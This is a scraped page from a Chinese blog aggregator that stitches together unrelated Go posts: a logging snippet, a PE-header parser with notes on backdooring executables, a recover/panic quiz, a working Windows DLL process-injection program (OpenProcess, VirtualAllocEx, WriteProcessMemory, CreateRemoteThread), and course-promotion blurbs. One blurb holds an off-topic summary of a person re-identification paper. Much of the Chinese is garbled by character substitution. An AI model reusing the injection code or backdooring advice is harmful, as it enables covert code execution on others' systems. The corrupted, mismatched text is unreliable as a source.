rotatelogs.WithMaxAge(2*24*time.Hour), // 设置日志切割工夫距离(1天) rotatelogs.WithRotationTime(24*time.Hour), ) writeMapAccess := lfshook.WriterMap{ logrus.InfoLevel: logWriterAccess, logrus.FatalLevel: logWriterAccess, logrus.DebugLevel: logWriterAccess, logrus.WarnLevel: logWriterAccess, logrus.ErrorLevel: logWriterAccess, logrus.PanicLevel: logWriterAccess, } lfHookAccess := lfshook.NewHook(writeMapAccess, &logrus.JSONFormatter{ TimestampFormat:"2006-01-02 15:04:05", }) // 新增 Hook LogAccess.AddHook(lfHookAccess)}Demo运行swag 的装置应用后续会解说 ...

September 17, 2022 · 4 min · jiezi

关于go:go-hack十八go-对PE文件解析

go网络安全代码地址 应用debug/pe规范库进行解析应用Reader对象对PE文件内容进行解析PE文件构造DOSheader 蕴含签名(0x5a4d)peheader(0x3c指向0x50 0x45 0x00 0x00)dos stubcoff file headeroptional headersection table// pe头type FileHeader struct { Machine uint16 NumberOfSections uint16 // 分区数 TimeDateStamp uint32 PointerToSymbolTable uint32 NumberOfSymbols uint32 SizeOfOptionalHeader uint16 Characteristics uint16}如果须要减少新分区,插入后门代码,须要批改这里的分区数属性减少新的Sections或者在imagebase中减少shellcodepackage mainimport ( "debug/pe" "encoding/binary" "fmt" "io" "log" "os")func main() { f, err := os.Open("G:\\Windows\\WinSxS\\amd64_microsoft-windows-calc_31bf3856ad364e35_10.0.18362.1_none_7c1b713697f466dd\\calc.exe") // Modify for binary or change to accept args check(err) pefile, err := pe.NewFile(f) // 创立pe文件对象 check(err) defer f.Close() defer pefile.Close() dosHeader := make([]byte, 96) // 读取前96个字节 sizeOffset := make([]byte, 4) // Dec to Ascii (searching for MZ) _, err = f.Read(dosHeader) check(err) fmt.Println("[-----DOS Header / Stub----- header和stub解析]") fmt.Printf("[+] Magic Value: %s%s\n", string(dosHeader[0]), string(dosHeader[1])) // Validate PE+0+0 (Valid PE format) pe_sig_offset := int64(binary.LittleEndian.Uint32(dosHeader[0x3c:])) // 从0x3c后开始读取 f.ReadAt(sizeOffset, pe_sig_offset) // sizeoffset为buffer,pe_sig_offset是读取的地位 这里不加:能够吗?? 读取0x50 0x45 0x00 0x00 fmt.Println("[-----Signature Header-----]") fmt.Printf("[+] LFANEW Value: %s\n", string(sizeOffset)) // Create the reader and read COFF Header sr := io.NewSectionReader(f, 0, 1<<63-1) // 读取到2^64次方-1 _, err = sr.Seek(pe_sig_offset+4, os.SEEK_SET) // 重置指针 check(err) binary.Read(sr, binary.LittleEndian, &pefile.FileHeader) // 二进制读取 // Get size of OptionalHeader // 可选头解析 向加载程序提供重要数据,加载程序将可执行文件加载到虚拟内存 var sizeofOptionalHeader32 = uint16(binary.Size(pe.OptionalHeader32{})) var sizeofOptionalHeader64 = uint16(binary.Size(pe.OptionalHeader64{})) var oh32 pe.OptionalHeader32 var oh64 pe.OptionalHeader64 // type FileHeader struct { // Machine uint16 // NumberOfSections uint16 // TimeDateStamp uint32 // PointerToSymbolTable uint32 // NumberOfSymbols uint32 // SizeOfOptionalHeader uint16 // Characteristics uint16 // } // Read OptionalHeader switch pefile.FileHeader.SizeOfOptionalHeader { case sizeofOptionalHeader32: binary.Read(sr, binary.LittleEndian, &oh32) case sizeofOptionalHeader64: binary.Read(sr, binary.LittleEndian, &oh64) } // Print File Header fmt.Println("[-----COFF File Header-----]") fmt.Printf("[+] Machine Architecture: %#x\n", pefile.FileHeader.Machine) fmt.Printf("[+] Number of Sections: %#x\n", pefile.FileHeader.NumberOfSections) fmt.Printf("[+] Size of Optional Header: %#x\n", pefile.FileHeader.SizeOfOptionalHeader) // Print section names fmt.Println("[-----Section Offsets-----]") fmt.Printf("[+] Number of Sections Field Offset: %#x\n", pe_sig_offset+6) // this is the end of the Signature header (0x7c) + coff (20bytes) + oh32 (224bytes) fmt.Printf("[+] Section Table Offset: %#x\n", pe_sig_offset+0xF8) // Print Optional Header fmt.Println("[-----Optional Header-----]") // 如果对pe文件退出后门,须要对上面两项有所理解 fmt.Printf("[+] Entry Point: %#x\n", oh32.AddressOfEntryPoint) // 绝对于imageBase的可执行代码地位 fmt.Printf("[+] ImageBase: %#x\n", oh32.ImageBase) // 将图像加载到内存时第一个字节地位 fmt.Printf("[+] Size of Image: %#x\n", oh32.SizeOfImage) // 图像的理论大小 fmt.Printf("[+] Sections Alignment: %#x\n", oh32.SectionAlignment) fmt.Printf("[+] File Alignment: %#x\n", oh32.FileAlignment) fmt.Printf("[+] Characteristics: %#x\n", pefile.FileHeader.Characteristics) fmt.Printf("[+] Size of Headers: %#x\n", oh32.SizeOfHeaders) fmt.Printf("[+] Checksum: %#x\n", oh32.CheckSum) fmt.Printf("[+] Machine: %#x\n", pefile.FileHeader.Machine) fmt.Printf("[+] Subsystem: %#x\n", oh32.Subsystem) fmt.Printf("[+] DLLCharacteristics: %#x\n", oh32.DllCharacteristics) // Print Data Directory fmt.Println("[-----Data Directory----- 数据目录解析,可选头的最初128字节]") var winnt_datadirs = []string{ "IMAGE_DIRECTORY_ENTRY_EXPORT", "IMAGE_DIRECTORY_ENTRY_IMPORT", "IMAGE_DIRECTORY_ENTRY_RESOURCE", "IMAGE_DIRECTORY_ENTRY_EXCEPTION", "IMAGE_DIRECTORY_ENTRY_SECURITY", "IMAGE_DIRECTORY_ENTRY_BASERELOC", "IMAGE_DIRECTORY_ENTRY_DEBUG", "IMAGE_DIRECTORY_ENTRY_COPYRIGHT", "IMAGE_DIRECTORY_ENTRY_GLOBALPTR", "IMAGE_DIRECTORY_ENTRY_TLS", "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", "IMAGE_DIRECTORY_ENTRY_IAT", "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", "IMAGE_NUMBEROF_DIRECTORY_ENTRIES", } for idx, directory := range oh32.DataDirectory { fmt.Printf("[!] Data Directory: %s\n", winnt_datadirs[idx]) fmt.Printf("[+] Image Virtual Address: %#x\n", directory.VirtualAddress) fmt.Printf("[+] Image Size: %#x\n", directory.Size) } fmt.Println("[-----Section Table----- 解析分区表]") // 蕴含了相干分区的详细信息,与coff file header中numberofsections 匹配 for _, section := range pefile.Sections { fmt.Println("[+] --------------------") fmt.Printf("[+] Section Name: %s\n", section.Name) fmt.Printf("[+] Section Characteristics: %#x\n", section.Characteristics) fmt.Printf("[+] Section Virtual Size: %#x\n", section.VirtualSize) fmt.Printf("[+] Section Virtual Offset: %#x\n", section.VirtualAddress) fmt.Printf("[+] Section Raw Size: %#x\n", section.Size) fmt.Printf("[+] Section Raw Offset to Data: %#x\n", section.Offset) fmt.Printf("[+] Section Append Offset (Next Section): %#x\n", section.Offset+section.Size) } // s := pefile.Section(".text") // fmt.Printf("%v", *s) // "Section Table Offset" + (40bytes * number of sections)}func check(e error) { if e != nil { log.Fatal(e) }}

September 17, 2022 · 3 min · jiezi

关于go:Go-Quiz-从Go面试题看recover注意事项第1篇

面试题这是Go Quiz系列里对于recover的第1篇,次要考查recover函数在什么状况下能够捕捉到panic。 func main() { fmt.Print("1 ") defer recover() fmt.Print("2 ") var a []int _ = a[0] fmt.Print("3 ")}A: 1 2B: 1 2 3C: 1 2 panicD: 1 2 3 panicE: 编译报错这道题有以下几个考点: defer语句在什么时候执行recover在什么时候能够捕捉到panic大家能够先暂停,思考下答案。 题目解析咱们先来回顾下recover, panic的根底知识点: recover是Go的内置函数,能够捕捉panic异样,然而recover必须联合defer一起应用能力失效。 如果以后goroutine触发了panic,能够在代码的适当地位调用recover函数捕捉异样,让程序持续失常执行,而不是异样终止。 如果程序失常执行过程中,没有panic产生,这时调用recover函数会返回nil,除此之外,没有其它任何成果。 recover在以下几种状况返回nil panic的参数是nil。这种状况recover捕捉后,拿到的返回值也是nil。goroutine没有panic产生。没有panic,那当然recover拿到的也就是nil了。recover不是在被defer的函数外面被间接调用执行,这个时候捕捉不到panic,recover函数的返回值是nil。官网文档的如法如下: The recover built-in function allows a program to manage behavior of a panicking goroutine. Executing a call to recover inside a deferred function (but not any function called by it) stops the panicking sequence by restoring normal execution and retrieves the error value passed to the call of panic. If recover is called outside the deferred function it will not stop a panicking sequence. In this case, or when the goroutine is not panicking, or if the argument supplied to panic was nil, recover returns nil. Thus the return value from recover reports whether the goroutine is panicking.recover必须是在被defer的函数外面执行,如果间接在被defer的函数里面执行revcover是不会捕捉到panic的。 ...

September 17, 2022 · 2 min · jiezi

关于go:go-hack十七go实现win进程注入shellcode

go网络安全代码地址应用syscall能够加载驻留内存的恶意软件或者钩子函数 c++和go类型 c++gobooleanbyteboolint32bytebytedworduint32dword32uint32dword64uint46worduint16handleuintptrlpvoiduintptrsize_tuintptrlpcvoiduintptrhmoduleuintptrlpcstruintptrlpdworduintptr过程注入的流程应用openProcess()建设过程句柄和过程拜访权限VirtualAllocEx() 调配虚拟内存,WriteProcessMemory()将shellcode或者dll加载到过程内存中应用CreateRemoteThread()调用本地导出的dll函数,使得第三步写入内存的字节码执行扩大能够应用Process Hacker Process Monitor工具查看过程状态能够不通过dllpath加载dll 应用cs或者msfvenom生成shellcode能够将frida加载进去,执行js应用go run .\main.go .\helper.go .\inject.go .\tokens.go -pid=10676 -dll="C:\Windows\System32.dll" pid为10676dll 为C:\Windows\System32.dllprocess handle0x158申请内存 0x1ae387b0000kernal dll 的地址为0x7ffd66100000load memory 0x7ffd6611ebb0Thread 创立0xc0000a60c8thread create 0x160 package mainimport ( "fmt" "syscall" "unsafe" "github.com/pkg/errors")var nullRef int// 获取过程句柄func OpenProcessHandle(i *Inject) error { // 定义过程拜访权限 var right uint32 = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | // 查问过程信息 PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE var inheritHanle uint = 0 // 新过程句柄是否继承现有句柄 var processId uint32 = i.Pid // 获取过程句柄 remoteProcHandle, _, lastErr := ProcOpenProcess.Call( // 进行零碎调用 uintptr(right), //DWORD dwDesiredAccess uintptr(inheritHanle), // Bool bInheritHandle uintptr(processId), //DWORD dwProcessId ) if remoteProcHandle == 0 { return errors.Wrap(lastErr, "不能获取句柄") } i.RemoteProcHandle = remoteProcHandle // 记录到构造体 fmt.Printf("pid为%v", i.Pid) fmt.Printf("dll 为%v", i.DllPath) fmt.Printf("process handle%v \n", unsafe.Pointer(i.RemoteProcHandle)) return nil}// 内存申请func VirtualAllocEx(i *Inject) error { var flAllocationType uint32 = MEM_COMMIT | MEM_RESERVE var flProtect uint32 = PAGE_EXECUTE_READWRITE lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call( i.RemoteProcHandle, // HANDLE hProcess uintptr(nullRef), // LPVOID ipadress uintptr(i.DLLSize), // size_t uintptr(flAllocationType), uintptr(flProtect), //dword flprotect ) if lpBaseAddress == 0 { return errors.Wrap(lastErr, "申请内存失败") } i.Lpaddr = lpBaseAddress fmt.Printf("申请内存 %v\n", unsafe.Pointer(i.Lpaddr)) return nil}func WriteProcessMemory(i *Inject) error { var nBytesWritten *byte dllPathBytes, err := syscall.BytePtrFromString(i.DllPath) // 接管一个dll地址,返回生成的字节切片的地址 if err != nil { return err } writeMem, _, lastErr := ProcWriteProcessMemory.Call( i.RemoteProcHandle, // HANDLE hprocess i.Lpaddr, // LPVOID lpbaseAddress uintptr(unsafe.Pointer(dllPathBytes)), // LPCVOID uintptr(i.DLLSize), // size_t uintptr(unsafe.Pointer(nBytesWritten)), //size_t *lpNumberOfBytesWriten ) if writeMem == 0 { return errors.Wrap(lastErr, "shellcode 写入内存失败") } return nil}// loadlibrarya 会将指定的模块加载到过程调用的内存空间中,所以须要失去library的内存地位func GetLoadLibAddress(i *Inject) error { var llibBytesPtr *byte llibBytesPtr, err := syscall.BytePtrFromString("LoadLibraryA") // 返回这个字符串在内存中的地位 if err != nil { return err } lladdr, _, lastErr := ProcGetProcAddress.Call( ModKernel32.Handle(), uintptr(unsafe.Pointer(llibBytesPtr)), // LPCSTR lpProcname ) if &lladdr == nil { return errors.Wrap(lastErr, "没有找到地址") } i.LoadLibAddr = lladdr fmt.Printf("kernal dll 的地址为%v", unsafe.Pointer(ModKernel32.Handle())) fmt.Printf("load memory %v\n", unsafe.Pointer(i.LoadLibAddr)) return nil}// 针对近程过程的虚拟内存区域创立一个线程func CreateRemoteThread(i *Inject) error { var threadId uint32 = 0 var dwCreateionFlags uint32 = 0 remoteThread, _, lastErr := ProcCreateRemoteThread.Call( i.RemoteProcHandle, uintptr(nullRef), uintptr(nullRef), i.LoadLibAddr, i.Lpaddr, // 虚拟内存地位 uintptr(dwCreateionFlags), uintptr(unsafe.Pointer(&threadId)), ) if remoteThread == 0 { return errors.Wrap(lastErr, "创立线程失败") } i.RThread = remoteThread fmt.Printf("Thread 创立%v\n", unsafe.Pointer(&threadId)) fmt.Printf("thread create %v\n", unsafe.Pointer(i.RThread)) return nil}// 辨认特定对象适合处于发信号的状态func WaitForSingleObject(i *Inject) error { var dwMilliseconds uint32 = INFINITE var dwExitCode uint32 rWaitValue, _, lastErr := ProcWaitForSingleObject.Call( i.RThread, uintptr(dwMilliseconds), ) if rWaitValue != 0 { return errors.Wrap(lastErr, "线程状态谬误") } success, _, lastErr := ProcGetExitCodeThread.Call( i.RThread, uintptr(unsafe.Pointer(&dwExitCode)), ) if success == 0 { return errors.Wrap(lastErr, "退出码不对") } closed, _, lastErr := ProcCloseHandle.Call(i.RThread) if closed == 0 { return errors.Wrap(lastErr, "敞开谬误") } return nil}func VirtualFreeEx(i *Inject) error { var dwFreeType uint32 = MEM_RELEASE var size uint32 = 0 //Size must be 0 if MEM_RELEASE all of the region rFreeValue, _, lastErr := ProcVirtualFreeEx.Call( i.RemoteProcHandle, i.Lpaddr, uintptr(size), uintptr(dwFreeType)) if rFreeValue == 0 { return errors.Wrap(lastErr, "开释内存出错") } fmt.Println("开释内存胜利") return nil}

September 16, 2022 · 3 min · jiezi

关于go:GEN-自动生成-GORM-模型结构体文件及使用示例

GEN 主动生成 GORM 模型构造体文件及应用示例背景GEN 是一个基于 GORM 的平安 ORM 框架, 由字节跳动无恒实验室与 GORM 作者联结研发,次要性能说白了就是帮忙生成数据表对应的模型文件和更平安不便地执行SQL。 间接应用 GORM 与 GEN 工具的比照: 间接应用GORM应用GEN需手动创立与数据表各列一一对应的构造体指定表名后主动读取并生成对应构造体需手动实现具体的 go 代码查问逻辑形容 SQL 查问逻辑即可,工具主动转换成平安稳固的代码查问接口非常灵便,但不能放弃查问的 SQL 不产生语法错误,只能通过测试保障局部场景的失常运行查问接口应用类型平安,编译可通过,查问逻辑即是失常正当的需人工评教训保障业务不存在平安问题,一旦出错往往在上线前能力发现,影响上线流程提供的安全可靠的查问 API,开发时能用的就是平安的本文指标GEN 提供的性能是弱小而丰盛的,本文相当一个上手指引只挑些常见操作进行示例阐明: 表字段的整型类型无论大小和有无符号,构造体中对立应用 int64 (为了简化后续应用时的操作)。个别构造体字段 json 序列化时由数字类型转成字符串类型,如:余额字段 balance 在表中是 DECIMAL 类型,构造体中是 int64,业务须要的 json 字段类型为字符串。应用非默认字段名实现自动更新、创立工夫戳和软删除。模型关联示例环境: go 1.18gen v0.3.16 留神:以后GEN的最新版主版本是0, 也就是 API 在将来可能会有较大的变更, 应用时务必留神版本变更问题MySQL 8.0指标表有3个,别离是 user、address和 hobby,user与 address是一对多关系,如下所示: CREATE TABLE IF NOT EXISTS `user` ( `id` int unsigned NOT NULL AUTO_INCREMENT COMMENT 'ID', `name` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '用户名', `age` tinyint unsigned NOT NULL DEFAULT '0' COMMENT '年龄', `balance` decimal(11,2) unsigned NOT NULL DEFAULT '0.00' COMMENT '余额', `updated_at` datetime NOT NULL COMMENT '更新工夫', `created_at` datetime NOT NULL COMMENT '创立工夫', `deleted_at` datetime DEFAULT NULL COMMENT '删除工夫', PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;CREATE TABLE IF NOT EXISTS `address` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `uid` int unsigned NOT NULL, `province` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '', `city` varchar(20) COLLATE utf8mb4_general_ci NOT NULL DEFAULT '', `update_time` int unsigned NOT NULL, `create_time` int unsigned NOT NULL, `delete_time` int unsigned NOT NULL DEFAULT '0', PRIMARY KEY (`id`) USING BTREE, KEY `uid` (`uid`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;CREATE TABLE IF NOT EXISTS `hobby` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `name` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '', `updated_at` int unsigned NOT NULL, `created_at` int unsigned NOT NULL, `deleted_at` int unsigned NOT NULL DEFAULT '0', PRIMARY KEY (`id`) USING BTREE ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;配置 GEN 并生成模型构造体创立并初始化我的项目,再引入 GEN 包 ...

September 16, 2022 · 6 min · jiezi

关于go:关于-Go-bootstrapping-的学习记录

Go bootstrap问题:Go 是怎么来的在 Go 1.5 版本公布的时候提到:Go 语言实现了 bootstrapping (中文叫自举,或者自展,总之都很拗口)。那么,这个概念(或者说这项技术),到底意味着什么呢?在我已经看到过的各种材料文章中,bootstrapping 它总是是不是呈现一下,而且如同大部分人都对这个重要概念十分相熟。 对我集体而言,长期以来 bootstrapping 只是「用 Go 语言实现本人」这么一个含糊的概念。因而,分明地弄明确这个概念,补足本人的常识盲点,是这篇日志的目标。 和 C 的关系刚刚开始应用 Go 的时候(Go 1.3),一些相干的工具,无论是 gccgo,还是 6a/6c/6l,或者是 ldd,nm,objdump 这些相熟的脸孔,总是让人容易让人联想到 C 语言。 联合 Go 源码外面大量的 C 代码,咱们能够说: 最早的 Go 版本是应用 C 和 plan9 工具链实现的。先确定一下指标因为 Go 语言的 runtime (如内存治理和 GC,goroutine 以及调度等),大部分在很早的时候就曾经是 Go 语言实现的了。因而,咱们说的「Go 怎么来」或者「Go 是用什么写的」其实(应该)指的是:「Go 编译器是怎么实现的」。 咱们曾经晓得的信息: 最早 Go 编译器是用 C 写的。当初的 Go 编译器(及相干工具)是应用 Go 实现。从 1. 到 2. 的过程,被称为 bootstrapping。另外,为什么要实现 bootstrapping 也是有短缺的理由和起因的: Go 比 C 好(更清晰,测试更不便,更容易做 profile,更好写)。优化工具链的实现,更少代码,更容易保护。进步可移植性。将来的后端优化(应用 SSA)要比用 C 写轻松。对于 bootstrapping 的定义比拟谨严的定义如下: ...

September 16, 2022 · 4 min · jiezi

关于go:Go开发者的涨薪通道自主开发-PaaS-平台核心功能含资料

download:Go开发者的涨薪通道:自主开发 PaaS 平台外围性能含材料1 .简介本文次要钻研跨模态行人再辨认问题。Re-ID的指标是从数据库中检索相干人的图像。事实世界中的身份识别系统有时须要日夜辨认同一个人。为此,须要应用两种不同的设施:白天应用RGB摄像头,早晨应用红外(IR)摄像头。当查问和图库图像来自不同模式时,显著的模式差别是最突出的挑战。本文试图通过解决模态差别来进步跨模态辨认的成果。从度量学习的角度来看,re-ID的次要目标是学习一个 类内紧致 类间拆散的嵌入空间。基于深度分类的学习基线是用于身份辨认和人脸识别工作的风行办法。在训练过程中,它将所有具备雷同ID的特色拉至相应的代理(即分类层中的权重向量)。当这个基线利用于跨模态re-ID时,作者发现模态差别显著妨碍了类内紧凑性,如图1 (a)所示。在基线中,不论其底层模式如何,具备雷同ID的所有实例共享一个代理。与模式无关的代理试图适应IR和RGB个性,并充当它们之间的两头中继。这种中继效应导致对模式差别的相当大的容差。从图1 (a)中的t-SNE可视化中能够察看到,两种模式的特色之间存在显著的模式差别。具备不同ID的雷同模态的特色比具备雷同ID的不同模态的特色更靠近。例如,ID116和ID119的类间间隔小于ID-116的类内间隔。 为了克制模态差别,作者提出了一种记忆加强的单向度量学习办法(MAUM),该办法有两个新鲜的设计:(1)学习单向度量;(2)用记忆库加强。首先,咱们学习了两个单向指标(“IR”到“RGB”和“RGB”到“IR”)来缓解基线的中继效应。MAUM为每个ID学习两个特定的模态代理(MS-proxy ),如图1 (b)所示。RGB(IR)代理只接管来自RGB(IR)特色的梯度,因而它们能够用于示意非凡模式。而后,解冻它们并应用RGB代理作为动态参考来提取IR特色,反之亦然。这两个单向指标促成了更好的跨模态相关性。其次,这两个单向指标通过基于记忆的加强失去进一步强化。每次迭代后,MAUM将IR和RGB代理存储在它们各自的记忆库中。因为MS代理一直迭代变动(即“漂移”景象),每个ID在存储体中都有多个不同的IR和RGB代理,如图1(b)所示。一些历史MS-proxy(与最新MS-proxy相比)间隔模态边界更远,因而对相应的模态特色具备更强的“放大”效应。总之,记忆库通过使阳性样本难以辨别来加强MAUM,从而促成跨模态相干。作者指出,基于记忆的学习揭示了MAUM未知但重要的后劲。具体来说,作者用“漂移”来加强参考性。相比之下,以前的钻研认为“漂移”会带来负面影响,并试图防止。如图1(b)所示,具备雷同ID的特色散布严密,这表明模态差别被克制。例如,如图1(a)所示,ID-116的类内嵌入显著比基线更紧凑。除了无效地缩小模态差别之外,所提出的MAUM在模态不均衡的状况下也具备非凡的劣势。在训练数据中,因为人在夜间流动较少,红外图像通常比RGB图像更稀少,红外图像的标注难度更大。在MAUM中,单向测量和基于记忆的加强是基于特定模式的,并且在IR代理上的加强独立于在RGB代理上的加强,反之亦然。因而,MAUM能够从新均衡红外和RGB模式的加强。通过增益再均衡,补救了红外图像的有余,对模态不均衡具备鲁棒性。作者的次要奉献总结如下:(1)针对跨模态辨认问题,提出了一种新的记忆加强的单向度量学习办法。它在两个单向方向上学习明确的跨模态度量,并通过基于记忆的加强进一步加强;(2)思考了模态不均衡,这是跨模态辨认中一个重要的理论问题。通过调整特定模式的增益,MAUM对模式不均衡体现出很强的鲁棒性。(3)综合评估了模态均衡和模态不平衡条件下的办法。试验结果表明,MAUM在两种状况下都能显著进步跨模态re-ID的性能,显著优于现有办法。2.相干著述2.1跨模态测量学习首次钻研了异构人脸识别中的跨模态问题。这些晚期的作品都应用了与模态无关的代理来增强类内的紧密性。RGB受进犯的跨模态行人再辨认首次引入行人再辨认中的跨模态问题,并逐步引起再辨认界的关注。与本文最靠近的工作是通过模态感知的合作集成学习进行跨模态的人从新辨认,这与作者的办法相似,也应用了特定的模态分类层。然而,这两种办法之间存在显著差别。他们应用特定模态分类器的集成来生成用于合作集成学习的加强老师模型;MAUM应用模态特定分类器来学习模态特定代理,这些代理在收敛后是固定的,并用于学习单向指示器。2.2基于记忆的学习记忆库广泛应用于监督、半监督和无监督零碎。在半监督学习中,利用记忆库获取历史预测的工夫集,增强了未标记样本的最新预测与工夫集的一致性。无监督学习的两个重要研究成果(MOCO和监督测量学习(XBM))在应用记忆库方面有类似的动机。具体来说,MOCO减少了存储密钥的数量,以便更好地进行比拟钻研;XBM通过存储历史特色来进步疑难案例开掘的成果。他们都受害于记忆银行减少负面特色。在基于记忆学习的背景下,作者指出MAUM的新鲜之处在于一种新的跨模态度量学习机制。在MAUM,记忆银行的益处不是因为工夫一致性(如半监督学习)或更多的负样本(如MOCO和XBM)。MAUM受害于模型漂移,帮忙MAUM取得难以辨别的正样本参考,促成跨模态关联。此外,MAUM将代理存储在记忆银行中,这能够视为测量学习工作的一种新的模型扩大。相比之下,以前的工作只存储特征向量。2.3不均衡数据的学习数据不均衡是深度学习中的一个重要挑战。以往的钻研多集中在类别不均衡上,解决办法次要有两种,即重采样和从新加权。重采样是指在训练中对少数类(大量样本)进行过采样,对高频类(大量样本)进行欠采样,以均衡每次迭代中的头尾数据。加权指的是在损失函数中为不同类别甚至不同样本调配自适应权重。留神到跨模态工作中有一个独特的数据不均衡问题,即模态不均衡。模态不均衡是指一种模态比另一种模态蕴含更多样本的状况。在MAUM,对特定模式的加强是离开的,容许对特定模式的独立加强,这使得MAUM对模式不均衡更鲁棒。3.办法3.1 MAUMMAUM的框架如图2所示。MAUM应用ResNet50作为骨干,并承受RGB和IR图像作为输出。MAUM将第一卷积块分成两个独立的分支,以适应特定模式的低级特色模式,一个用于RGB,另一个用于IR。为了进步计算效率,两种模式共享所有卷积模块。对于卷积特色映射,MAUM应用全局均匀池(GAP)来为每个输出图像生成深度嵌入。基于这种罕用的骨干设置,提出的MAUM着重于其记忆加强的新的单向测量学习办法。 3.1.5具备组件特色的MAUM个性通常能够进步视觉重辨认和跨模态重辨认的性能。为了验证MAUM与重量特色兼容,作者引入了一种基于重量特色的变体,即Maum P,这种变体将最初的卷积特色图依照一个简略的重量特色基线均匀分成六个重量特色。在训练过程中,每个组成部分都有本人的监督。在测试过程中,所有六个组件特色被串联以造成最终的示意。3.2模式失衡情景下的MAUM在跨模态re-ID中,红外图像通常比RGB图像稀缺,导致模态不均衡,红外图像更难标注。当模态不均衡达到极限时,一些id可能只有一个模态(例如只有RGB)。咱们把这两种状况定义为:(1)模态不均衡场景,每个ID有两种状态,红外图像比RGB图像少;(2)情态片断情景,有些id只有一个情态,而有些则有两个情态。MAUM是第一个在跨模态钻研中思考模态不均衡的人。试验表明,模态不均衡显著升高了re-ID的精度。在MAUM,因为加强是基于两种特定模式的记忆库,它们之间的比例能够灵便调整,以补救红外图像样本的有余。因而,MAUM对模式失衡是持重的。3.3机理剖析本文剖析了MAUM记忆加强的机制。作者指出记忆库中积攒的代理漂移是单向度量学习加强的起因。当咱们在两个不同的训练迭代中察看具备雷同ID的代理时,两个察看后果天然是不同的。对于定量分析,同一药剂的两次察看值之间的差别被定义为药剂漂移,如公式(4)。 6.摘要本文提出了一种用于跨模态辨认的单向测量学习办法MAUM。MAUM有两个长处:(1) MAUM不应用模式无关的代理作为两个模态之间的两头中继,而是强制应用两个单向度量的显式跨模态关联;(2)通过摸索模型漂移的后劲,MAUM通过基于记忆的加强进一步增强了跨模态相关性。联合这两个长处,MAUM显著地克制了模态差别,进步了跨模态辨认的能力。另一个奉献是将模态不均衡问题引入到跨模态re-ID社区中,并证实了MAUM在该问题中具备较高的鲁棒性和优越性。在MAUM,应用两种特定模式的存储体来存储MS-proxy。尽管这些代理没有梯度,但依然须要一些内存和计算开销来存储和应用它们。当训练集很大时,如工业数据集,其内存和计算开销不可疏忽。如何优化内存和计算开销将是将来工作的重点。

September 16, 2022 · 1 min · jiezi

关于go:Go开发者的涨薪通道自主开发PaaS平台核心功能无密分享

download:Go开发者的涨薪通道自主开发PaaS平台外围性能无密分享开发首先说一下后端开发。罕用的语言有Java,Golang,Python。Java程序员是目前市面上最多的,很多公司都会抉择。Java语言开发的整个后端我的项目都有很好的我的项目标准,适宜简单的业务逻辑。自己从事Golang语言,适宜开发微服务,特点是开发快,效率高。大多数公司(Go,字节的次要语言,哔哩哔哩的Go,腾讯的Go等。)都开始抉择Golang进行开发,因为与Java和Python相比,这种语言最大的特点就是节俭内存,反对高并发,简洁高效,简略易学。Golang语言的后端框架有很多,比方Gin(举荐)、Beego、Iris等。关系数据库的操作包含gorm。以上是Golang后端开发曾经把握的根本能力。微服务框架包含:归零奎托斯 Golang语言有一些独特的性能,比方coroutine goroutine,它比threads更轻量级、更高效。例如,通道是通过共享内存反对过程间通信的一种形式。当多个goroutine生产通道中的数据时,通道中反对锁机制,每条音讯只会调配给一个go routine生产。在Golang外部,有一套残缺的Goroutine调度机制GMP,其中g指goroutine,m指机器,p指流程。GMP的原理大抵是通过全局缓存和每个线程的缓存来保留须要运行的go routine,通过过程的协调将go routine散发到无限的机器上运行。 Golang是一种反对GC的语言,外部应用三色标记垃圾收集算法。原理大抵是通过可达性算法对那些被援用的对象进行标记,对残余的须要开释的未标记对象进行回收。在旧版本中,STW影响很大。所谓的STW是在GC中,因为多线程拜访内存会导致不平安的问题。为了保障内存GC的准确性,在标记对象时,它会阻止程序代码持续运行通过一道屏障,而后持续运行程序,直到所有的对象都被解决完。这个短暂的工夫被称为STW(进行世界)。因为STW,会导致程序无奈提供服务的问题。在Java中,这种景象也存在。然而随着Golang版本的更新,GC算法一直优化,STW工夫越来越短。 须要留神的是,在定义map时,尽量不要将指针存储在值中,因为这样会导致GC工夫过长。 另一个知识点是Golang的地图是一个无序的地图。如果须要从地图上遍历数据,须要用slice保留,并依照肯定的程序排序,这样能力保障每次查问的数据都是同一个程序。而且地图是无锁的,不平安。应用map进行内存缓存时,须要思考多线程拜访缓存带来的平安问题。常见的办法有两种,一种是增加读写锁RWLock,另一种是应用sync。Map在多写少读的场景下倡议应用RWLock,因为sync。Map外部用空间换工夫的办法,外部有两张地图,一张反对浏览,一张反对写作。写的太频繁,会导致map的不断更新,带来频繁的GC操作,带来比拟大的性能开销。 Golang的Goroutine是无国籍的。如果须要main函数期待Goroutine完结或终止Goroutine,通常有三种办法。第一种是在sync中应用WaitGroup,它包含Add、Done和wait办法。能够比作Java中的CountDownLatch。第二种办法是应用Context包中的Done办法将主函数的上下文带入Goroutine,同时应用主函数中的select来监听Goroutine接管到的上下文收回的Done信号。第三种办法是定义一个通道,并将其发送到Goroutine中。在Goroutine中执行后,main函数期待读取发送给通道的终止信息。 